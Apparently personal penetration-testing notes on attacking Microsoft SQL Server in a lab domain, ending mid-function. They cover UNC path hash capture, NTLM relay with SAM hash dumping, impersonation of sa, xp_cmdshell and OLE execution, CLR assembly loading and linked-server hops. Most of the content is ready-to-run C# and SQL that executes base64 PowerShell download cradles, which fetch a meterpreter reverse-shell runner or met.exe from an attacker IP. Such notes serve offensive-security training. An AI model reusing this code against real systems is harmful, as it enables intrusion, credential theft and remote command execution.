If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper
Download exemsi --> https://www.exemsi.com/download/
# Follow the guide fom hacktrics.
------------------
# If you have a meterpreter session
exploit/windows/local/always_install_elevatedMSSQL
Good source
MSSQL Attacks
Enumeration
# Extract all accounts in use as SPN using built in MS tools
setspn -T corp1 -Q MSSQLSvc/*
# Use GetUserSPNs.ps1
https://github.com/nidem/kerberoastAuthentication using C#
- This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the 'public' server role and displays the result.
- The term
Integrated Security = True;in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.
- It's considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "dc01.corp1.com";
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
String querylogin = "SELECT SYSTEM_USER;";
SqlCommand command = new SqlCommand(querylogin, con);
SqlDataReader reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Logged in as: " + reader[0]);
reader.Close();
// Check public role
String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');";
command = new SqlCommand(querypublicrole, con);
reader = command.ExecuteReader();
reader.Read();
Int32 rolePublic = Int32.Parse(reader[0].ToString());
if (rolePublic == 1)
{
Console.WriteLine("User is a member of public role");
}
else
{
Console.WriteLine("User is NOT a member of public role");
}
reader.Close();
// Check sysadmin role
String querySysAdminRole = "SELECT IS_SRVROLEMEMBER('sysadmin');";
command = new SqlCommand(querySysAdminRole, con);
reader = command.ExecuteReader();
reader.Read();
Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());
if (roleSysAdmin == 1)
{
Console.WriteLine("User is a member of sysadmin");
}
else
{
Console.WriteLine("User is NOT a member of sysadmin");
}
reader.Close();
con.Close();
}
}
}UNC Path Injection
- Attack Premise: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.
# xp_dirtree SQL Procedure
# • Function: Lists all files in a given folder.
# • Special Feature: Can accept an SMB share as a target.
EXEC master..xp_dirtree "\\192.168.119.120\\test";
# Responder Tool
# • Function: Sets up an SMB share initiating NTLM authentication.
sudo responder -I tun0- The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start
responder.
- Once the NET-NTLM hash is captured, you can use
hashcat(hashcat -m 5600 hash.txt dict.txt --force) orjohnto crack it.
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "dc01.corp1.com";
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
con.Close();
}
}
}Relay the hash
- Objective
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.
- Background
Net-NTLM hash: While it can't be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.
- Microsoft's Security Measure: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.
- SMB Signing: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it's enabled only on domain controllers.
- Procedure
Enumeration: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.
kali@kali:~$ sudo apt -y install powershell
kali@kali:~$ pwsh
PS /home/kali> $text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.
# The -t option specifies the target to which the relayed authentication will be sent.
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc '
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
Dump hashes using NTLMrelayx.py
- You can also get the hashes if the user authenticating have the rights
- Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25 1 ⚙
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[...]
controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xd9996db98e1caaaaabbvvfdfdeeerreew
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3623e909efeda77786a000bc7176aeac:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:cf24abb0dd2ff42591001e892d98d690:::
[*] Done dumping SAM hashes for host: 192.168.1.25
[*] Stopping service RemoteRegistryMSSQL Escalation
Escalation
Objective
- Achieve higher privileges within the SQL database by leveraging impersonation.
Background
- Sysadmin Role: Direct authentication with a user possessing the sysadmin role membership is the most straightforward method to secure elevated privileges. However, accessing such a user isn't always possible.
- Impersonation: This technique lets you execute SQL queries in the context of another login or user. Only users granted the explicit Impersonate permission can utilize this method. This permission is not set by default.
Impersonation at the User Level:
Prerequisites:
- Our user must have been granted impersonation for another user with additional role memberships.
- The database user we aim to impersonate should be in a database with the TRUSTWORTHY property enabled.
The database owner (dbo) usually have this syadmin role.
The rid 500 user (ex: local administrator) is always added to DBA and can always impersonate SA.
using System;
using System.Data.SqlClient;
namespace SqlImpersonationDemo
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "dc01.corp1.com";
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
{
con.Open();
Console.WriteLine("Auth success!");
// This will give us all the logins that allow impersonation.
string query = "SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read() == true)
{
Console.WriteLine("Logins that can be impersonated: " + reader[0]);
}
reader.Close();
Console.WriteLine("Before impersonation");
query = "SELECT SYSTEM_USER;";
command = new SqlCommand(query, con);
reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Executing in the context of: " + reader[0]);
}
reader.Close();
string executeAs = "EXECUTE AS LOGIN = 'sa';";
command = new SqlCommand(executeAs, con);
reader = command.ExecuteReader();
reader.Close();
Console.WriteLine("After impersonation");
query = "SELECT SYSTEM_USER;";
command = new SqlCommand(query, con);
reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Executing in the context of: " + reader[0]);
}
reader.Close();
executeAs = "USE msdb; EXECUTE AS USER = 'dbo';";
command = new SqlCommand(executeAs, con);
reader = command.ExecuteReader();
reader.Close();
query = "SELECT USER_NAME();";
command = new SqlCommand(query, con);
reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Executing in the context of: " + reader[0]);
}
reader.Close();
}
}
catch (Exception e)
{
Console.WriteLine("An error occurred: " + e.Message);
}
}
}
}Code Execution
Objective
- Leverage sysadmin role membership to execute code on the Windows server hosting the SQL database.
Background
- xp_cmdshell: A well-known stored procedure that spawns a Windows command shell and passes a string for execution. Disabled by default since SQL 2005 due to its potential for misuse.
Activation: Enable xp_cmdshell: CheatSheet I – Basic – BOOK_GHANIM
- sp_OACreate and sp_OAMethod: These stored procedures allow the creation and execution of a new procedure based on Object Linking and Embedding (OLE). They can be used to instantiate the Windows Script Host and execute commands.
Activation: Ensure the "OLE Automation Procedures" setting is enabled.
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
xp_cmdshell
using System;
using System.Data.SqlClient;
using static System.Net.Mime.MediaTypeNames;
namespace SqlImpersonationDemo
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "dc01.corp1.com";
String database = "master";
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
try
{
using (SqlConnection con = new SqlConnection(conString))
{
con.Open();
Console.WriteLine("Auth success!");
// Impersonate SA user
String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
SqlCommand command = new SqlCommand(impersonateUser, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
// Enable and execute xp_cmdshell
String enable_xpcmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX"
// In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1
//$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
//$EncodedText = [Convert]::ToBase64String($bytes)
String execCmdShell = "EXEC xp_cmdshell 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';";
command = new SqlCommand(enable_xpcmd, con);
reader = command.ExecuteReader();
reader.Close();
command = new SqlCommand(execCmdShell, con);
reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Result of xp_cmdshell: " + reader[0]);
}
reader.Close();
con.Close();
}
}
catch (Exception e)
{
Console.WriteLine("An error occurred: " + e.Message);
}
}
}
}sp_OACreate and sp_OAMethod
Same as above, just change these lines
String enable_ole = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;";
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX"
// In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1
//$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
//$EncodedText = [Convert]::ToBase64String($bytes)
String execCmdShell = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA';";
command = new SqlCommand(enable_ole, con);Custom Assemblies
Introduction:
- This technique leverages managed code to achieve arbitrary code execution on a SQL server.
- If a database has the TRUSTWORTHY property enabled, the CREATE ASSEMBLY statement can be used to import a managed DLL into the SQL server and execute its methods.
- Creating a stored procedure from an assembly is not allowed by default. This is controlled through the CLR Integration setting, which is disabled by default. We can enable it with
sp_configureand theclr enabledoption.
Check if TRUTHWORTHY is enabled.
1433 - Pentesting MSSQL - Microsoft SQL Server - HackTricks
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;Start by creating a new "Class Library (.NET Framework)" project.
using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmdExec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};- In the
CreateAssemyou can either call it from location on target like this
CREATE ASSEMBLY myAssembly FROM 'c:\tools\cmdExec.dll' WITH PERMISSION_SET = UNSAFE;
- This is however not realistic. So instead we will embed the hex code for the DLL in the code using the powershell script below to conovert it to hex. Remember to add
0xbefore the string since this is hex.
$assemblyFile = "C:\users\alaag\documents\cmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\users\alaa\documents\cmdexec.txtusing System;
using System.Data.SqlClient;
namespace SqlImpersonationDemo
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "dc01.corp1.com";
String database = "master";
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
try
{
using (SqlConnection con = new SqlConnection(conString))
{
con.Open();
Console.WriteLine("Auth success!");
// Impersonate SA user
String impersonateUser = "EXECUTE AS LOGIN = 'sa';";
SqlCommand command = new SqlCommand(impersonateUser, con);
SqlDataReader reader = command.ExecuteReader();
reader.Close();
// Check if the procedure and assembly already exist and drop them if they do
String dropProcedure = "IF OBJECT_ID('dbo.cmdExec', 'P') IS NOT NULL DROP PROCEDURE dbo.cmdExec;";
command = new SqlCommand(dropProcedure, con);
reader = command.ExecuteReader();
reader.Close();
String dropAssembly = "IF EXISTS (SELECT * FROM sys.assemblies WHERE name = 'myAssembly') DROP ASSEMBLY myAssembly;";
command = new SqlCommand(dropAssembly, con);
reader = command.ExecuteReader();
reader.Close();
// Configuration for enabling CLR
String clrConfig = "use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;";
command = new SqlCommand(clrConfig, con);
reader = command.ExecuteReader();
reader.Close();
// Create the assembly and procedure
String CreateAssem = "CREATE ASSEMBLY myAssembly FROM 0x4D5A90000300000004000000FF... WITH PERMISSION_SET = UNSAFE;";
command = new SqlCommand(CreateAssem, con);
reader = command.ExecuteReader();
reader.Close();
String CreatePro = "CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];";
command = new SqlCommand(CreatePro, con);
reader = command.ExecuteReader();
reader.Close();
// Execute the procedure
String ExecCmd = "EXEC cmdExec 'certutil -urlcache -split -f http://192.168.45.244/met.exe C:\\windows\\tasks\\shell.exe && cmd.exe /c C:\\windows\\tasks\\met.exe'";
command = new SqlCommand(ExecCmd, con);
reader = command.ExecuteReader();
reader.Read();
Console.WriteLine("Result of the command is: " + reader[0]);
reader.Close();
con.Close();
}
}
catch (Exception e)
{
Console.WriteLine("An error occurred: " + e.Message);
}
}
}
}- You cannot use CREATE ASSEMBLY on an assembly more than once without first removing the existing one. To do this, use the DROP ASSEMBLY command. Moreover, if there's a procedure dependent on the assembly, it must be removed first using the DROP PROCEDURE command.
string dropproc = "DROP PROCEDURE cmdExec";
string dropasm = "DROP ASSEMBLY myAssembly";Linked SQL Servers
Overview:
- Linked SQL servers allow one SQL server to connect to another.
- The execution context during the connection can be dynamic or a specific SQL login.
- If a sysadmin role login is chosen, sysadmin privileges can be obtained on the linked SQL server.
Concepts:
- If the linked SQL server uses a sysadmin role login, even low privileged access on the original server can lead to sysadmin privileges on the linked server.
- sp_linkedservers stored procedure enumerates linked servers.
- OPENQUERY keyword can be used to perform SQL queries on linked servers.
- Microsoft SQL uses Remote Procedure Call (RPC) to update running configurations on remote servers.
- RPC Out setting must be enabled for RPC to work on linked servers.
- sp_serveroption stored procedure can enable RPC Out if the current user has sysadmin role membership.
- AT keyword specifies which linked SQL server a query should be executed on.
Query list
# Enable RPC Out
EXEC sp_serveroption 'sql27', 'rpc out', 'true';
# Enumerate linked servers
EXEC sp_linkedservers;
# Execute command using openquery
SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');
# Enable advanced options
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;
# Enable xp_cmdshell
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01
# Example
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53;
EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT SQL53;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT SQL53;
EXEC ('xp_cmdshell ''whoami'';') AT SQL53;
# Double hop
EXECUTE AS LOGIN = 'SA';
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT db01') AT db02
EXEC ('EXEC (''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT db01') AT db02
EXEC ('EXEC (''xp_cmdshell ''''''') AT db01') AT db02
EXEC ('EXEC (''xp_cmdshell ''''powershell -enc XXXXX''') AT db01') AT db02
# Tripple hop
EXECUTE AS LOGIN = 'SA';
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''show advanced options'''''''', 1; reconfigure; '''') AT db02 '') AT db01') AT db02
EXEC ('EXEC (''EXEC ('''' sp_configure ''''''''xp_cmdshell'''''''', 1; reconfigure; '''') AT db02 '') AT db01') AT db02
EXEC ('EXEC (''EXEC ('''' xp_cmdshell '''''''''''''''' ') AT db02 '') AT db01') AT db02Enumerate Linked Servers
The code below will enumerate linked SQL servers. Running the code below in the lab will sho us that appsrv01 and dc01 is linked.
using System;
using System.Data.SqlClient;
namespace SQLExploit
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "appsrv01"; // Connecting to appsrv01
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
String execCmd = "EXEC sp_linkedservers;";
SqlCommand command = new SqlCommand(execCmd, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Linked SQL server: " + reader[0]);
}
reader.Close();
con.Close();
}
}
}Querying Linked Servers
- Since we know from the enumeration above that
dc01is linked toappsrv01we can query the linked SQL server
- This will print the version of the linked SQL Server.
- Ensure correct escaping of double quotes.
using System;
using System.Data.SqlClient;
namespace SQLExploit
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "appsrv01"; // Connecting to appsrv01
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
// Point 2: Querying Linked Servers using OPENQUERY
String queryCmd = "SELECT version FROM OPENQUERY(dc01, 'SELECT @@version AS version');";
SqlCommand queryCommand = new SqlCommand(queryCmd, con);
SqlDataReader queryReader = queryCommand.ExecuteReader();
while (queryReader.Read())
{
Console.WriteLine("Linked SQL server version: " + queryReader[0]);
}
queryReader.Close();
}
}
}Executing Commands on Linked Servers
- Use the AT keyword to specify the linked server.
- Example:
EXEC ('sp_configure show advanced options, 1; reconfigure;') AT DC01
- Ensure correct escaping of single quotes in SQL.
using System;
using System.Data.SqlClient;
using static System.Net.Mime.MediaTypeNames;
namespace SQLExploit
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "appsrv01"; // Connecting to appsrv01
String database = "master";
String conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
// Enable 'show advanced options' through DC01
String execCmd = "EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT DC01;";
SqlCommand execCommand = new SqlCommand(execCmd, con);
execCommand.ExecuteNonQuery();
// Check if "show advanced options" is enabled on DC01 using OPENQUERY
String checkCmd = "SELECT value_in_use FROM OPENQUERY(DC01, 'SELECT value_in_use FROM sys.configurations WHERE name = ''show advanced options);";
SqlCommand checkCommand = new SqlCommand(checkCmd, con);
int valueInUse = Convert.ToInt32(checkCommand.ExecuteScalar());
if (valueInUse == 1)
{
Console.WriteLine("Command executed successfully: 'show advanced options' is enabled on DC01.");
}
else
{
Console.WriteLine("'show advanced options' is not enabled on DC01.");
}
String enablexpcmdshell = "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01";
SqlCommand enablexpcmdshell1 = new SqlCommand(enablexpcmdshell, con);
enablexpcmdshell1.ExecuteNonQuery(); // Use the correct SqlCommand object here
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.244/run.txt') | IEX"
//$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
//$EncodedText = [Convert]::ToBase64String($bytes)
//$EncodedText
string execmd = "EXEC ('xp_cmdshell ''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA) AT dc01";
SqlCommand runthis = new SqlCommand(execmd, con);
runthis.ExecuteNonQuery(); // Use the correct SqlCommand object here
con.Close();
}
}
}
Privilege Escalation
- We know from above that appsrv01 has a link to dc01. We might query dc01 to see if it has any links to another SQL server. In this example we assume that appsrv01 has a link to dc01, and dc01 has a link to appsrv01.
- If a SQL server on one machine (e.g., dc01) has a link to another (e.g., appsrv01), you can potentially use this link for privilege escalation.
- Use the OPENQUERY keyword to execute a query on one server and inside that, execute another query on the linked server.
To enumerate if the linked SQL server has another link, we can use the code below.
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static void Main(string[] args)
{
String sqlServer = "appsrv01";
String database = "master";
String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("Auth success!");
}
catch
{
Console.WriteLine("Auth failed");
Environment.Exit(0);
}
String query = "EXEC ('sp_linkedservers') AT DC01;";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Linked SQL server: " + reader[0].ToString());
}
reader.Close();
con.Close();
}
}
}- The code below will use
OpenQuerytwice. First on the linked SQL server dc01, and back again to appsrv01 to enumerate the login user
String query = "select mylogin from openquery(\"dc01\", 'select mylogin from openquery(\"appsrv01\", ''select SYSTEM_USER as mylogin'')')";
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
Console.WriteLine("Login: " + reader[0].ToString());
}
reader.Close();Code Exection
- Using the code below will give us code execution on
appsrv01throughdc01as thesauser.
using System;
using System.Data.SqlClient;
namespace SQL
{
class Program
{
static string sqlServer = "appsrv01";
static string database = "master";
static string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
static void Main(string[] args)
{
using (SqlConnection con = new SqlConnection(conString))
{
con.Open();
Console.WriteLine("Auth success!");
ListLinkedServers(con);
DisplayCurrentLoginThroughDC01(con);
DisplayCurrentLoginLocal(con);
EnableAdvancedOptionsOnBothServers(con);
EnableXpCmdShellOnBothServers(con);
ExecutePayloadOnAppsrv01ThroughDC01(con);
con.Close();
}
}
static void ListLinkedServers(SqlConnection con)
{
ExecuteReader(con, "EXEC ('sp_linkedservers') AT DC01;", reader => Console.WriteLine("Linked SQL server: " + reader[0]));
}
static void DisplayCurrentLoginThroughDC01(SqlConnection con)
{
string query = "select mylogin from openquery(dc01, 'select mylogin from openquery(appsrv01, ''select SYSTEM_USER as mylogin'')')";
ExecuteReader(con, query, reader => Console.WriteLine("Login: " + reader[0]));
}
static void DisplayCurrentLoginLocal(SqlConnection con)
{
ExecuteReader(con, "SELECT SYSTEM_USER;", reader => Console.WriteLine("Executing as login: " + reader[0]));
}
static void EnableAdvancedOptionsOnBothServers(SqlConnection con)
{
ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT appsrv01') AT dc01");
if (CheckIfOptionEnabled(con, "DC01", "show advanced options"))
Console.WriteLine("'show advanced options' is enabled on DC01.");
else
Console.WriteLine("'show advanced options' is NOT enabled on DC01.");
ExecuteNonQuery(con, "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;");
if (CheckIfOptionEnabled(con, "appsrv01", "show advanced options"))
Console.WriteLine("'show advanced options' is enabled on appsrv01.");
else
Console.WriteLine("'show advanced options' is NOT enabled on appsrv01.");
}
static void EnableXpCmdShellOnBothServers(SqlConnection con)
{
// Enable xp_cmdshell on appsrv01 through DC01
ExecuteNonQuery(con, "EXEC ('EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT appsrv01') AT dc01");
// Enable xp_cmdshell on DC01
ExecuteNonQuery(con, "EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT dc01");
if (CheckIfOptionEnabled(con, "DC01", "xp_cmdshell"))
Console.WriteLine("'xp_cmdshell' is enabled on DC01.");
else
Console.WriteLine("'xp_cmdshell' is NOT enabled on DC01.");
if (CheckIfOptionEnabled(con, "appsrv01", "xp_cmdshell"))
Console.WriteLine("'xp_cmdshell' is enabled on appsrv01.");
else
Console.WriteLine("'xp_cmdshell' is NOT enabled on appsrv01.");
}
static void ExecutePayloadOnAppsrv01ThroughDC01(SqlConnection con)
{
//$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.221/run.txt') | IEX"
// In run.txt is the SimpleShellcode runner with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f ps1
//$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
//$EncodedText = [Convert]::ToBase64String($bytes)
ExecuteNonQuery(con, "EXEC ('EXEC(''xp_cmdshell ''''powershell -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIANAA0AC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA'''' '') AT appsrv01') AT dc01");
}
static void ExecuteReader(SqlConnection con, string query, Action action)
{
using (SqlCommand cmd = new SqlCommand(query, con))
{
using (SqlDataReader reader = cmd.ExecuteReader())
{
while (reader.Read())
{
action(reader);
}
}
}
}
static void ExecuteNonQuery(SqlConnection con, string query)
{
try
{
using (SqlCommand cmd = new SqlCommand(query, con))
{
cmd.ExecuteNonQuery();
}
}
catch (Exception ex)
{
Console.WriteLine($"Failed to execute query. Error: {ex.Message}");
}
}
static bool CheckIfOptionEnabled(SqlConnection con, string server, string option)
{
string query = server == "DC01"
